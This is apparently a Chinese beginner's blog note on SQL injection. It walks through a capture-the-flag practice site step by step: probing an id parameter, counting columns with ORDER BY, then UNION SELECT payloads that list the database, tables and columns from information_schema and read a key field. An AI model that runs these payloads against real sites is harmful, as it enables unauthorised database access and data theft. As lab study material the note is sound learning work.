SQL INJECTION

sql注入学习笔记1

前言:初学注入,做做笔记。

目标网站:http://ctf5.shiyanbar.com/8/index.php?id=1

id=1,age=xx,page=xx,一般为数字型漏洞,可猜测其执行语句为:select * from table where id=1。

下面开始测试步骤:

1.http://ctf5.shiyanbar.com/8/index.php?id=1’报错:‘换成 and 1=1,执行正常,and 1=2,不报错但返回异常页面,所以存在注入点。

2.使用order by 语句爆列数 http://ctf5.shiyanbar.com/8/index.php?id=1 order by x,(使用折半查找法,x替换成数字)直到返回正常页面的x即为列数。x=3,报错。x=2,返回正确。

3.使用union联合查询注入,(注意:此方法满足条件需查询的所有列数相同,数据类型兼容)

a.查询数据库:,http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,database()。

b.查询表名:,http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,table_name from information_schema.tables where table_schema=’my_db’。

c.查询列名:,http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1, column_name from information_schema.columns where table_schema=’my_db’ and table_name=’thiskey’。

d.最后查询敏感信息:,http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey

(注:table_schema:当前数据库名

table_name:表名,column也就是列名

)

 

 

 

 

留言

您的电子邮箱地址不会被公开。 必填项已用 * 标注